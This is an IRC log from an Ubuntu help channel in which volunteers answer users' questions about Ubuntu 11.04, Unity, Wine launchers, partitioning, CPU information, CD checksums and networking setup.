[14:32] <fredrik__> so, just installed 11.04 and trying to understand unity. I installed wine and a windows application. How can I threw unity find this app? Wine nore the windows program shows up when I search for apps witch super-key
[14:32] <ronr_> Halzen: right, thanks! I forgot the commands.
[14:32] <ubuntu_> syockit, yes are all blank im using gnome, for add  how i do it?
[14:33] <Halzen> ronr_: Good. Sorry for the confusion.
[14:33] <ronr_> Halzen: I blame myself. I wasn't clear enough.
[14:33] <syockit> ubuntu_ tty should've been installed by default
[14:33] <dob1> hi, i have sun java installed on 11.04,  why if i want to install groovy too ubuntu wants to install openjdk ?  i want to use groovy with sun jdk
[14:34] <ronr_> Halzen: free -m gives me 492 total. don't remember what that maens.
[14:34] <OneSquared> I will like use sed but it's difficult...
[14:34] <syockit> ubuntu_ see if you have tty1.conf in /etc/init/
[14:34] <Halzen> ronr_: That reads 492 MB of RAM, meaning you have 512MB installed.
[14:34] <jrib> OneSquared: you need to describe what sort of rule you want to use to rename them-
[14:35] <ronr_> Halzen: that's.... pathetic.
[14:35] <ronr_> Halzen: thanks :)
[14:35] <ubuntu_> syockit, if i install tty then work like other distro?
[14:35] <Halzen> ronr_: It's a bit under par, yeah. xD
[14:36] <ronr_> Halzen: how do I know how many cores the cpu has? if it prints out only one cpu it means only one core?
[14:37] <ubuntu_> syockit, yes ive this file there...
[14:37] <Halzen> ronr_: There will be a line around the middle of the print with "cpu cores". As you know, multiple cores will fit on one physical CPU, so you have to be careful what you read.
[14:38] <syockit> ubuntu_ the conf file is installed by upstart (I found out by doing 'dpkg -S /etc/init/tty1.conf'), and I think it is also installed in your distro
[14:38] <llutz> OneSquared: if the files all start with a number and you want to remove ALL text,s tarting from "-":       rename 's/-[A-z]*//g' *.png
[14:38] <LjL> sabri_icone: http://lpi.org/eng/certification/the_lpic_program/lpic_1/exam_101_sample_questions
[14:38] <ronr_> Halzen: no cores. if I run 'cat /proc/cpuinfo | grep core' it prints out nothing.
[14:39] <syockit> ubuntu_ the command 'ps' will list running processes. If you do 'ps -a | grep getty', do you get a list, or nothing?
[14:39] <llutz> ronr_: LANG=C grep core /proc/cpuinfo
[14:39] <Halzen> ronr_: That's odd. O.o
[14:39] <amr_> Is it possible to find distributions based on Ubuntu using GNOME 3 is currently
[14:39] <ronr_> llutz: meh?
[14:40] <Sidewinder1> 10.04 and 10.10 use Gnome.
[14:40] <ronr_> llutz: that gave out nothing as well.
[14:40] <Halzen> ronr_: Given your RAM, it's possible that you're using a CPU or motherboard that's too old to provide information that these commands can read. That's just my theory, though.,
[14:40] <OneSquared> Thanks you llutz
[14:40] <ronr_> Halzen: it's a brand new server ;)
[14:40] <newubuntu> jrib: ur solution didnt quite work :(
[14:40] <gbjk> Hi. I've just installed ubuntu 11.04 32-bit on a thinkpad t420. I've brought everything up to date with apt-get. I don't get unity. If I run unity-support-test I get 'extension "GLX" missing on display :0.0.
[14:40] <syockit> Sidewinder1, and 11.04 uses it partly
[14:40] <fredrik__> how do I create a "launcher" that act likes an installed app in Unity? Ie when I browse installed apps I want to se the launcher
[14:40] <jrib> newubuntu: in what way?
[14:41] <gbjk> Restricted drivers shows nvidia as activated but not running. (I've seen this might be a bug).
[14:41] <syockit> fredrik__ it's probably a .desktop entry
[14:41] <robin0800> amr_, no
[14:41] <newubuntu> jrib: the link told me to set my clock to 'local time' if its on 'ust' time, but its ALREADY set to 'local time'
[14:41] <judgen> Hi
[14:41] <jrib> newubuntu: well try the other option
[14:41] <syockit> fredrik__ maybe quite tricky to find tutorial for that one, seeing google doesn't recognize the .
[14:41] <newubuntu> jrib: what other option?
[14:42] <gbjk> dmesg doesn't suggest that the module was kicked out.
[14:42] <jrib> newubuntu: if it currently says "no", then change it to "yes"
[14:42] <Halzen> ronr_: Let's try a more specific terminal command: cat /proc/cpuinfo | grep processor | wc -l
[14:42] <judgen> How do i disable screen blanking properly... setting "Option" "DPMS" "no" in xorg.conf did not work.
[14:42] <speedy> sal
[14:42] <syockit> fredrik__ if you "ls /usr/share/applications" you get a list of system-installed .desktop files
[14:42] <newubuntu> jrib: exactly what i tried to do, but ubuntu says i dont have permission to make changes in the file
[14:42] <fredrik__> syockit, But how can I make it act like a "installed app"? can I make unity find it to launch it. I dont want to pin it to the launcher.. I dont use it that often..
[14:42] <speedy> sa
[14:42] <gbjk> What do I do next to understand 1) If my driver isn't working (nvidia 4200M) 2) Why unity bombs with GLX errors.
[14:42] <speedy> hello
[14:42] <jrib> newubuntu: use "gksudo gedit /etc/default/rcS"
[14:42] <ronr_> Halzen: that gave out 1
[14:43] <speedy> fuck you
[14:43] <llutz> judgen: xset -dpms
[14:43] <Halzen>  ronr_: Well, then you have one CPU. We're getting...somewhere.
[14:43] <kevinyoung_> how to stop command apt-get when it running
[14:43] <ronr_> Halzen: the question is where ;)
[14:43] <nerdshell> what is the command ./setup .sh used for exactly ?
[14:43] <kevinyoung_> please
[14:43] <Sidewinder1> syockit, An I correct in my assumption (I'm on 10.04) that one can get to Gnome in 11.04 at boot by selection "Classic Ununtu?"
[14:43] <syockit> fredrik__ if you want to make your own, put it in "~/.local/share/applications"
[14:43] <fredrik__> syockit, I just want to be able to browse it whitout looking up the exe file in nautilus everytime I want to start it
[14:43] <nerdshell> kevinyoung_: ctrl+c
[14:44] <judgen> llutz, still get screen blanking every five minutes without activity...
[14:44] <syockit> Sidewinder1, should be. If I'm not mistaken, they included the fallback in case Unity doesn't work. But I haven't tried
[14:44] <syockit> fredrik__ hence the .desktop file
[14:44] <nerdshell> what is the command ./setup .sh used for exactly ?
[14:44] <Sidewinder1> syockit, Thanx
[14:44] <syockit> fredrik__ I'm pretty sure Unity also searches it
[14:44] <fredrik__> syockit, Ok. Think I understand... its not easy this... In Gnome all wine apps was installed to the startmenu in wine folder
[14:44] <kevinyoung_> o thanks
[14:44] <Halzen> ronr_: Any chance you can Pastebin the output of "less /proc/cpuinfo"?
[14:45] <Yulya> guys, whole qestion in one line: i make tar file from live system, unpack it on new disk, install grub, fix fstab like here http://paste2.org/p/1398614 and on first reboot i got : http://touhou.ru/upload/6a12b415e03838b3682c25ea0fc379a8.png and nothing happen
[14:45] <newubuntu> jrub: done! but ill be able to check if it worked the next time i boot, thnkx anyways man, tx a lot!
[14:45] <nerdshell> what is the command ./setup .sh used for exactly ?
[14:46] <jnlsnl_> around 100 bad sectors is not so bad right?
[14:46] <jmkgreen> this the best channel to deal with a server upgraded to natty which won't now go beyond a grub prompt?
[14:46] <Yulya> if i move /var/ and /tmp/ to its default place and remove bind's from fstab system boot properly
[14:46] <kpower> what's a great way to leanr open office calc?
[14:46] <kpower> graph and all
[14:46] <nerdshell> what is the command ./setup .sh used for exactly ?
[14:47] <maco> nerdshell: with a space in it like that? a syntax error
[14:47] <ronr_> Halzen: http://pastebin.com/yNsLcQYC
[14:47] <usr13> nerdshell: running executables  ./executable-file  sh executable-file
[14:47] <maco> nerdshell:  ./setup.sh would execute a script named setup.sh
[14:47] <jrib> nerdshell: if you mean "./setup.sh" it just runs setup.sh which can do whatever it wants
[14:47] <fredrik__> syockit, Ok, in my .local/share/applications I have a bunch of files like: wine-extension-gif.desktop nothing more... What should I put here?
[14:48] <DerMicha1> hay
[14:48] <Halzen> ronr_: Well, I don't know why it isn't showing the cores, but I know that CPU to be a quad-core.
[14:48] <mrcreativity> ubuntu installer doesnt seem to see my hard drive
[14:48] <alexUnder> anyone knows from shell scripts ? :/
[14:48] <mrcreativity> can anyone help me
[14:48] <usr13> nerdshell: setup.sh is more than likely a script that will setup or install something on your system.  Be careful.
[14:48] <ronr_> Halzen: It's a bit weird that it has only 512MB RAM, no?
[14:48] <Silekonn> Hello all.
[14:48] <syockit> fredrik__ first let's confirm whether it finds the .desktop entry or not. gedit that wine-extension-gif.desktop and check its name. Then use unity's finder to find it. Is it able to find?
[14:48] <fredrik__> syockit, sorry.. there was a folder called wine and in that one lays my windows app.. Still.. unity cant find my windows app.. still lost..
[14:49] <Halzen> ronr_: Yeah, that's odd, too. Did you build this machine, or are you renting it?
[14:49] <nerdshell> usr13: is it the same as the make && configure && make install ?
[14:49] <mrcreativity> it works fine with windows, but ubuntu doesnt see the hard drive
[14:49] <acon543> what are the applications that use jamendo music service , I know rhythmbox, amarok and clementine
[14:49] <ronr_> Halzen: neither, I just work here ;) started working here this week. it's a new company too so the server only got here a couple of days ago. trying to see what's what.
[14:49] <akshay_> anirban ru dere
[14:49] <vak> hi all
[14:49] <syockit> fredrik__ I just restarted my unity-applications-daemon and it manages to find my custom .desktop. So I suppose it works. After making one .desktop file, you may have to relogin
[14:49] <akshay_> helllo anirban
[14:50] <ubuntu_> syockit, thanks again but for add only 2 tty?i know the comand please
[14:50] <vak> What shortcut shows desktop in Unity?
[14:50] <akshay_> cyber life
[14:50] <fredrik__> syockit, ok.. Im trying to relogin then
[14:50] <usr13> nerdshell: No. But if it is indeed an executable scirpt, you can look and see what it will do.  cat setup.sh
[14:50] <syockit> fredrik__ do you already have the .desktop entry?
[14:50] <ronr_> Halzen: apparently, it's supposed to serve git and redmine. it still feels a bit low on RAM.
[14:50] <phoenixsampras> please a proper RDP client with gui example??
[14:50] <akshay_> anirban
[14:51] <milen8204> Anyone have had a problem whit compiz in Ubuntu 11.04
[14:51] <fredrik__> syockit, yes. In a subfolder of the .local/share/applications lays a .desktop file for my windows app
[14:51] <Halzen> ronr_: Well, something doesn't seem quite right with the configuration. I guess if it's working we shouldn't mess with your work machine, but still... xP
[14:51] <nerdshell> ah, I got it, the software is installed by the setup script, not with a makefile
[14:51] <nerdshell> usr13: ah, I got it, the software is installed by the setup script, not with a makefile
[14:51] <fredrik__> syockit, rebooting.. brb
[14:51] <w30> i don't get Unity running even though my login chooser session says Unity;  I have to restart  the window manager with Fusion
[14:51] <syockit> fredrik__ okay go on and relogin, then try to find that file
[14:51] <usr13> nerdshell: ... but that is not to say that it won't install an application in much the same way as ./configure ; make ; make install
[14:51] <DerMicha1> ive got a problem with my RS232 Card: the most time I get the error "Control signals read: Input-/Output Error" it makes no difference which programm i use for accessing ttyS1.
[14:51] <DerMicha1> here are the messages from lspci and gtkterm: http://pastebin.com/Nbcv80eh i am using ubuntu 10.4 LTS
[14:51] <blackbit> !bazhang
[14:51] <usr13> nerdshell: Yes, you are correct
[14:51] <ronr_> Halzen: well, I'll ask the guy who ordered the machine. it just seems like a really odd configuration.
[14:51] <blackbit> !bazhang
[14:52] <ronr_> Halzen:  thanks for all the help :)
[14:52] <alexUnder> this is inside an .sh.. is there any error on the line ? because its doesnt start ---> /home/alex/.nuke/Nuke6.0 -b %f
[14:52] <Halzen> ronr_: No problem. :)
[14:52] <syockit> ubuntu_, sorry I'm not sure what's wrong there. so you ctrl-alt-f1 and nothing comes out? Does it stay in GNOME/KDE/XFCE/Unity/whatever  or does it become black screen?
[14:52] <nerdshell> usr13: okay, thanks a lot, actually, it's a pretty trusted software, but thanks for the cat script.sh hint, didn't know about it
[14:53] <ronr_> Halzen: on a different note, I updated my ubuntu box at home from 10.11 to 11.04 and suddenly xbmc videos are choppy. any idea why? :p
[14:53] <usr13> nerdshell: NP
[14:53] <andriatiana> hi
[14:53] <w30> i don't get Unity running even though my login chooser session says Unity;  I have to restart  the window manager with Fusion. Is there a sesson file that needs tweaking?
[14:53] <Halzen> ronr_: Well, let me get this out of the way real quick: I never recommend doing a straight upgrade from one version to another. I always prefer backing up the /home folder and doing a clean install.
[14:53] <nerdshell> usr13: it wont be possible to see what is inside the script using a text editor ?
[14:53] <rtdos> hello all: how do i remove or uninstall the onscreen keyboard that comes up when my screensaver is active (only when i am unlocking the screensaver)
[14:53] <Dink> How would one go about running both FF3.6 and FF4 ?
[14:54] <Dink> On 11.04
[14:54] <nerdshell> what is the channel for open discussion about Ubuntu please ?
[14:54] <Dark_Star1> hello has anyone managed to implement bridged networking in ubuntu with a vbox guest os?? I need to be able to contact the guest os from the network
[14:54] <usr13> ronr_: It could be that your video driver is not the same.  Could be that the video player you are using is hosed up.  Could be that it is streaming video and it's playing faster than it's streaming.  etc. etc.
[14:54] <Halzen> ronr_: If you're slick with the install, you can even isolate the /home folder to its own partition. That's what I'll be doing with my upcoming Fedora install.
[14:54] <syockit> nerdshell, come to #ubuntu-offtopic. closely related to ubuntu, but not #ubuntu enough
[14:55] <nerdshell>  nerdshell: usr13: it wont be possible to see what is inside the script using a text editor ?
[14:55] <ronr_> Halzen: I've heard that recommendation before, but it seems a bit odd, imho. an OS upgrade shouldn't be a problem. A fresh install feels like much more trouble.
[14:55] <usr13> nerdshell: Yes it will
[14:56] <Silekonn> Ubuntu noob here.  I have installed xp/v/7 on a box and then i installed ubuntu with /boot, /swap, root and /home.  I am /now/ trying to install Kubuntu and would like to have it use the first boot, swap and home partitions.  Is this doable/practical?
[14:56] <ronr_> usr13: same video player as the previous version, not streaming video. could be the video driver, but I'd expect the update to either keep it or update it.
[14:56] <Halzen> ronr_: It's really not so bad. Your app settings are saved in your /home folder, so the rest should only set you back an hour or two every six months. Software upgrades can cause a lot of problems, though.
[14:56] <syockit> Dink, you may have to download the flavorless unpatched version of the other to avoid dependency conflict. For example, download firefox 3.6 binaries and install to your home or /opt folder. And also make sure to make new profile
[14:56] <jrib> Silekonn: why install ubuntu and kubuntu?  Just install kubuntu-desktop package on your ubuntu install
[14:56] <bperu> Hi. I'm trying to install Ubuntu 11.04 amd64 along Windows 7 Ult. 64. The Wubi installer finishes without errors but when rebooting there are no changes to the system and W7 boots up as normally. No traces of Ubuntu on the boot menu nor in the boot selector inside the W7 control panel. Anyone know what the fix is?
[14:56] <Silekonn> jrib: The box is a demo system.
[14:57] <ronr_> Halzen: right, but wouldn't I need to reinstall all my software?
[14:57] <Dink> syockit: So grab from mozilla site, extract to /opt or what not and use new profile ?
[14:57] <Halzen> ronr_: Normally, yes. Luckily, AptOnCD is here to help: http://aptoncd.sourceforge.net/
[14:57] <jrib> Silekonn: but you understand that installing kubuntu-desktop will give you an identical setup to what you get with kubuntu and you get to choose your environment at the login screen?
[14:58] <syockit> Dink, yup. I don't know of a deb package that will not conflict
[14:58] <usr13> ronr Halzen: I would say that software updates can cause problems occasionally, but I wouldn't go so far as to say they cause a lot of problems.  I've done a lot of upgrades with very few problems.
[14:58] <Halzen> ronr_: There is no slick and easy way to upgrade with no chance of issues. Thankfully, this only has to happen every 6-12 months.
[14:58] <ronr_> Halzen: I'll check it out... but that's why I don't like the idea of a fresh install. Don't want to mess anything up...
[14:58] <Dink> syockit: thanks
[14:58] <edbian> Halzen: ronr_ Every 3 years if you stick with LTS releases only
[14:59] <Halzen> usr13: I guess I should be more careful with my phrasing: upgrading a distro holds the risk of one or two of many potential problems.
[14:59] <Silekonn> jrib: is the theme for ubuntu used with ubuntu's desktop manager (excuse my lack of terminology)?
[14:59] <Halzen> edbian: Yick. x3
[14:59] <Silekonn> jrib:  It needs to look identical to cust. systems.
[14:59] <ubuntu_> syockit, in ctrl-alt-f1 is a X mode,where i am....
[14:59] <edbian> Halzen: I use Debian!  :P
[14:59] <Halzen> edbian: Sounds about right. :P
[14:59] <robin0800> I think safe-upgrade stops a lot of problems
[14:59] <jrib> Silekonn: "cust. systems"?
[15:00] <Silekonn> jrib: customers have ubuntu and so I am learning it.
[15:00] <ronr_> edbian: that feels like staying back in time :)
[15:00] <jrib> Silekonn: well with ubuntu you'll have gdm whereas kubuntu users would see kdm.  That would be different, yes
[15:00] <ubuntu_> syockit, i know that exist a comand just for add other virtual shell but i dunno :(
[15:01] <usr13> ronr_:  Halzen  In my opinion, it's usually better to just fix what  you have.  Yes, I would agree, one or  two potential problems may occur.  If you are logged into one of these support channels, what you see is problems problems problems.  90% of the people that are upgrading are having no problems, but people are not reporting success stories here, they are reporting problems.
[15:01] <user82> hi. is there a tool to track(=txt or graphic) the cpu usage of a selected task?
[15:01] <syockit> ubuntu_, wow I haven't seen one that use f1 for X before. Wait, what about arch... err anyways so how about f2 and f3 or others? btw just for the record my X is on 8, and upstart output on 7
[15:01] <researcher> how do I resolve this http://mail.google.com/mail/?ui=2&ik=6fd2d077ba&view=att&th=12fbade30661f545&attid=0.1&disp=inline&realattid=f_gna7mksp0&zw
[15:01] <jatt> user82: top -p
[15:01] <Silekonn> jrib: can you answer my q about partitions?
[15:01] <Halzen> ronr_, edbian: A common philosophy among Linux users is that the cutting edge is overrated. I personally disagree, but stability is welcoming too.
[15:01] <edbian> Halzen: The cutting edge is the most fun!
[15:02] <ronr_> Halzen: imho, stability is overrated. one of the reasons I use Firefox Nightly rather than stable/beta/aurora :p
[15:02] <donkeyinspace> hello, i would like to check a burned ubuntu cd (dont have iso) using MD5SUM, anyone know if can it be done?
[15:02] <user82> jatt does it make a log?
[15:02] <FreeHCK> hi from russia, people! :)
[15:02] <ronr_> usr13: well, I don't know where to begin in fixing the issue
[15:02] <nerdshell> I am using Guake terminal, and in the general preference I can set the default interpreter, what is the difference between setting bin/bash and using <user shell> ??
[15:02] <Halzen> usr13: I don't speak solely from my time in IRC. Forums, blogs...all covered with upgrade woes. I understand that the success stories typically go unheard, but I'm just saying that a clean install can sidestep these problems.
[15:02] <edbian> bperu: You still there?
[15:02] <bperu> edbian: Hi, sure
[15:02] <jatt> user82: you can use it in combination with the -b flag
[15:02] <jatt> user82: and redirect the thing to a file
[15:03] <edbian> nerdshell: Every user has a default shell (like dash or bash or sh or something).  Typically everyone's default is bash (cause let's face it bash is the standard)
[15:03] <syockit> ubuntu_ try "getty 8 38400 tty2"?
[15:03] <Halzen> edbian, ronr_: That's the spirit. I'm switching to Fedora soon to enjoy the newest app updates in their unadultered goodness. I had some good times in Ubuntu, though...
[15:03] <jrib> Silekonn: you should be able to select manual partitioning during install and do what you want, just choose not to format the partitions that already have data on them
[15:03] <nerdshell> FreeHCK: Hello, what's the temperature in there ? =)
[15:03] <mbeierl> Silekonn: you can use the same /home partition, but I would recommend using different /boot and / partitions if you are going to install ubuntu (gnome) and kubuntu (kde) as individual bootable operating systems
[15:03] <edbian> bperu: Something is going wrong with the grub boot loader.  Because this is wubi I don't have an exact idea of how to fix it :(
[15:03] <FreeHCK> 21 C
[15:03] <ronr_> Halzen: well, I installed ubuntu on the box just because... I installed ubuntu on the box. I have no real preference either way on the distro there. it's just a media center.
[15:04] <edbian> bperu: My suggestion is go back into the wubi installer and try to see if you can find any options or setting or anything about grub.  Perhaps there is a 'install grub' buttons somwhere
[15:04] <nerdshell> edbian: so I have bash per default, in my case <user shell> or /bin/bash is the same, right?
[15:04] <FreeHCK> <donkeyinspace> try md5sum /dev/cdrom
[15:04] <edbian> bperu: My second suggestion is to just do a normal install
[15:04] <mbeierl> Silekonn: the reason is that the software updates will happen for one and might not be consistent with the other.  keeping boot and root distinct avoids any possible conflicts
[15:04] <edbian> nerdshell: yes exactly
[15:04] <Halzen> ronr_: A media center won't be too picky, so there's little reason for you to be, too. :P
[15:04] <edbian> Halzen: I think you mean 'unaltered'
[15:04] <zniavre> !gnome3
[15:04] <ubottu> Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[15:04] <Silekonn> mbeierl: I know to use a different / :)  but I am asking if overwriting boot, swap and home is acceptable.?
[15:04] <bperu> edbian: I was going to do the normal install but I wasn't sure it would screw up Windows somehow (or that Windows would screw itself up in the process, which seems to be what it does best)
[15:05] <usr13> Halzen: I would agree with that, ... to a  certain extent.  But you must admit, you see a lot of problems people have with installs too.  Just because one does a fresh intall does not mean it is going to be problem free in the end.   (Actually, this is a topic that should be on #ubuntu-offtopic )
[15:05] <nerdshell> edbian: how can I change my interpreter ? maybe, moving from bash to zsh ??
[15:05] <ronr_> Halzen: right. just needed something that can use the ION board I have, and that's it basically.
[15:05] <Zuhaitz> Hi, I just bought an USB-Wifi gadget for my wlan and Linux support, the connection is OK, but is VERY, very slow, is imposible to work that way, is the second I bought, I changed the previous because happened the same thing, can someone help please? I dont know what can be the problem.
[15:05] <alexUnder> is there any error here? it wont run (its inside a .sh file) ------>   /home/alex/.nuke/Nuke6.0 -b %f
[15:05] <edbian> bperu: The normal install actually has a better chance of working well.  Wubi is a bit of a hack.
[15:05] <Halzen> edbian: Oddly enough, I meant unadulterated. It's early here.
[15:05] <mbeierl> Silekonn: although the suggestion to install both the ubuntu desktop and kubuntu desktop in the same installation is good.  it is only the log in screen that would be slightly different.  from there when you log in, it will be identical
[15:05] <edbian> nerdshell: You set it in /etc/passwd
[15:05] <Silekonn> mbeierl: I understand.  I will share the home and swap partitions and recreate the others.
[15:05] <edbian> Halzen: :P
[15:05] <nerdshell> edbian: okay, needs a reboot ?
[15:05] <kevinyoung_> ubuntu how to make 3d desktop please?
[15:05] <mbeierl> Silekonn: I would keep boot separate if you want the two installed on separate roots.
[15:06] <edbian> nerdshell: I think so.  Perhaps just log out and back in
[15:06] <Halzen> usr13: Yep. The fresh-install-versus-upgrade is a fight I see picked every time I'm on here.
[15:06] <bperu> edbian: Do you know if there is any VM that will allow me to run the installer virtualized in Windows, and install to a real hard disk partition?
[15:06] <nerdshell> edbian: okya, thanks a lot, but actually what is the difference between shell and interpreter ?
[15:06] <edbian> bperu: Umm, virtualbox might be able to let you do that.
[15:06] <donkeyinspace> FreeHCK , However this will almost NEVER be the same hash as the iso image that was burned to the disk, because this command includes the empty space at the end of the disk, which changes the hash. So you must check only the part of the disk that was on the iso.
[15:06] <edbian> bperu: But I don't think that will be easier or safer than just installing normally :)
[15:07] <Halzen> bperu: Sounds like Wubi, but there's nothing that will give you a true-to-form install while operating inside of Windows. Don't be too scared of an Ubuntu Live CD.
[15:07] <newubuntu> QUESTION--- how to make flash videos run smoothly on ubuntu, youtube videos get stuck when changed to full screen mode sometimes...
[15:07] <Silekonn> jrib:  Thanks for the help.
[15:07] <hyphyphyph> Hi all.  Any way to get the damned battery icon into the Unity panel ?
[15:07] <edbian> bperu: Really it is not hard or confusing :)
[15:07] <Silekonn> mbeierl:  Thanks for the help.
[15:07] <bperu> edbian, Halzen: I'm fresh out of USB sticks and CD-Rs, that's why I was looking for a way to keep it all "inside" the computer :)
[15:07] <kevinyoung_> brothers how to make 3D desktop ?
[15:08] <iggyology> is clicking on Firfox... watching the icon pulse... and .... nothing happens (acer aspire one, win 7 starter garbage, Ubuntu on 4 gig flash, everything loaded ok, got internet access)
[15:08] <Halzen> bperu: Well, that's gonna put you in a bind. You could use Wubi, but frankly it's more trouble than its worth.
[15:08] <nerdshell> what does etc stands for ?
[15:08] <researcher> where can I get linux trainers in India?
[15:08] <mbeierl> Silekonn: you are welcome.  That is a lot of partitions though.  it is possible to have /boot on the same one as / (as in don't make a separate boot partition) and reduce your management that way
[15:08] <Halzen> I'm out, guys. Enjoy your Natty bugs. :P
[15:08] <bperu> Halzen, edbian: Thanks for your time and help.
[15:08] <bperu> laters all
[15:09] <usr13> Halzen: Yep, there are good arguments for both sides.  But I think the bottom line is that fresh-install is ok for those that have not added a lot of extra apps. while dist-upgrade is a good path for those that have heavily customized their systems and added a lot of apps. that weren't in the default install.
[15:09] <iggyology> brb in 1 minute... I would like to PM anyone about my firefox issue in Ubuntu on my flash drive
[15:09] <iggyology> this room is flying!
[15:09] <nerdshell> what does etc stand for ?
[15:09] <iggyology> etcetera
[15:09] <GuataPeluda> _/join #openfiler
[15:09] <donkeyinspace> hello, i would like to check a burned ubuntu cd (dont have iso) using MD5SUM, anyone know if can it be done?
[15:09] <pzn> upgraded from 10.10 to 11.04. how can I use old gnome interface/taskbar? any configuration option?
[15:09] <iggyology> latin for "and so on"
[15:09] <nerdshell> iggyology: no, I was talking about the etc in the linux file system
[15:10] <iggyology> ha hahahhahaha
[15:10] <iggyology> sorry
[15:10] <iggyology> lol
[15:10] <eoke> pzn, You should have a ubuntu classic option on the logon screen under session
[15:10] <riktking> pzn, you can log out and get "gnome" back
[15:10] <iggyology> have to leave my chair for 1 minute
[15:10] <Silekonn> mbeierl: But then I couldn't get my kicks off of sda10.  Thanks :)  ttyl
[15:10] <iggyology> brb
[15:10] <nerdshell> iggyology: yeah, in latin, it's actually et catera desunt, literally, and all other things, or all things that are missing
[15:10] <mquin> nerdshell: http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard#Directory_structure
[15:10] <usr13> nerdshell: I don't know that it stands for anything in particular, it is a short directory name where application files are stored.
[15:10]  * mbeierl thinks some people have too much time on their hands :)
[15:11] <mbeierl> Silekonn: you're welcome.  enjoy!
[15:11] <lbbef_> Hi! Can anybody help with the audio quality in Ubuntu? I notice its not very good...
[15:11] <quassel_> what is wrong with ff4 it hangs when i want to type in address bar, but ok in google's bar
[15:11] <FreeHCK> <donkeyinspace> sorry. try " head --bytes=`isosize /dev/cdrom` /dev/cdrom | md5sum -b "
[15:12] <usr13> !audio | lbbef_:
[15:12] <ubottu> lbbef_:: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.
[15:12] <matthias_> hey, my terminal currently looks like this http://imagebin.org/151658
[15:12] <matthias_> and ideas how to revert this?
[15:12] <Ecsi> hi all !
[15:12] <matthias_> I have no idea how that happened, I just turned on the pc and it looked like this :(
[15:12] <quassel_> is there way to my ff3 back?
[15:12] <Ecsi> how to activate s2both in the suspend ? (uswsusp installed)
[15:12] <matthias_> I tried rebooting but it didn't help either
[15:12] <quassel_> oops, to *get* ...
[15:12] <usr13> matthias_: Is this gnome-terinal ?
[15:13] <ronr_> ff3? why use ff3?
[15:13] <nerdshell> mquin: thanks a lot
[15:13] <rtdos> HELP: how do i remove or uninstall the onscreen keyboard that comes up when my screensaver is active (only when i am unlocking the screensaver)
[15:13] <matthias_> usr13: it's urxct
[15:13] <ronr_> it's like saying you want to use netscape 4.
[15:13] <nerdshell> usr13: look at mquin's link : http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard#Directory_structure
[15:13] <ronr_> that makes no sense.
[15:13] <Janusman> anyone have problems with the "Dim others" compiz plugin? Mine just quits working sporadically
[15:13] <matthias_> usr13: actually it's  "urxvt +tr -tint black -sh 25 -tn rxvt-unicode"
[15:13] <mbeierl> I am caught between releases of Ubuntu.  I can not really use 10.10 as I keep getting display issues (see screenshot at http://ubuntuforums.org/showthread.php?t=1672749), which is resolved in 2.6.36 + kernels, but I can't use them because iphone tethering is broken.  Anyone have any suggestions?
[15:14] <rtdos> HELP: how do i remove or uninstall the onscreen keyboard that comes up when my screensaver is active (only when i am unlocking the screensaver)
[15:15] <pzn> eoke, riktking: now using gnome again :-) thanks
[15:16] <riktking> pzn, no danger
[15:16] <sine_> hi
[15:17] <rtdos> HELP: how do i remove or uninstall the onscreen keyboard that comes up when my screensaver is active (only when i am unlocking the screensaver)
[15:17] <Dark_Star1> has anyone manage to configure bridge networking with a virtualbox guest OS in 10.10?? I need a decent guide or ssome tips please
[15:17] <ronr_> anyways, thanks for the help guys! have a good one!
[15:17] <Janusman> is there a way to tell ubuntu to always set the CPU speed to max?
[15:18] <researcher> Virtual machine fails to work and displays this http://imageshack.us/photo/my-images/811/screenshotst.png/
[15:18] <mosez> knows somebody a way to _always_ set 127.0.0.1 as first nameserver to resolv.conf?
[15:18] <compdoc> Dark_Star1, I dont use virtualbox, but bridges are easy
[15:18] <usr13> !virtualbox | Dark_Star1
[15:18] <ubottu> Dark_Star1: virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox
[15:18] <milen8204> Anyone can help whit options for program recordmydesctop
[15:19] <Dark_Star1> compdoc: can you give me a guide? or pointers?
[15:19] <usr13> milen8204: What do you need to know ?
[15:19] <compdoc> Dark_Star1, how many network cards are in the box?
[15:19] <Dark_Star1> usr13: thanks for the help... I already looked and the ubuntu help only covers from 2.1
[15:19] <llutz> mosez: using dhcp? change dhclient.conf to read "prepend domain-name-servers 127.0.0.1;  "
[15:19] <Dark_Star1> compdoc: 2
[15:19] <i_is_broke> whats the command to reset the panels?
[15:20] <Dark_Star1> compdoc: I need the guest os to appear on the network
[15:20] <Zuhaitz> Hi, I just bought an USB-Wifi gadget for my wlan and Linux support, the connection is OK, but is VERY, very slow, is imposible to work that way, is the second I bought, I changed the previous because happened the same thing, can someone help please? I dont know what can be the problem.
[15:20] <Dark_Star1> compdoc: so I want to assign eth2 to the guest OS
[15:20] <quassel__> ff4 sucks a lot when i type fast
[15:21] <FreeHCK> <donkeyinspace> This will be better: dd if=/dev/cdrom | md5sum
[15:21] <mosez> llutz: prepend domain-name-servers 127.0.0.1; works only as long i'm not connecting my vpn connection. after connecting vpn my local ns will be the second ns only...
[15:21] <llutz> mosez: check your vpn client.conf
[15:21] <compdoc> Dark_Star1, good. On pastebin.com, can you post the contents of the file: /etc/network/interfaces?
[15:21] <quassel__> even after i cleared all the history
[15:22] <riktking> quassel__, why not try an alternative, such as chrome/ium
[15:22] <Dark_Star1> compdoc: just need pointers to a decent guide 's all.. Ok but my interfaces file is quite simple so far
[15:22] <luxores> hi
[15:22] <compdoc> right
[15:22] <quassel__> riktking: yeah, gotta go for it, that's disgrace for mozilla
[15:22] <researcher> I wish to conduct linux training workshop for metro youth.Where can I find trainers?
[15:23] <luxores> i have some problems with my qualcomm UMTS modem after upgrading ubuntu last night
[15:23] <rtdos> HELP: how do i remove or uninstall the onscreen keyboard that comes up when my screensaver is active (only when i am unlocking the screensaver)
[15:23] <luxores> it disconnects all 3 secounds
[15:23] <usr13> researcher: Where?
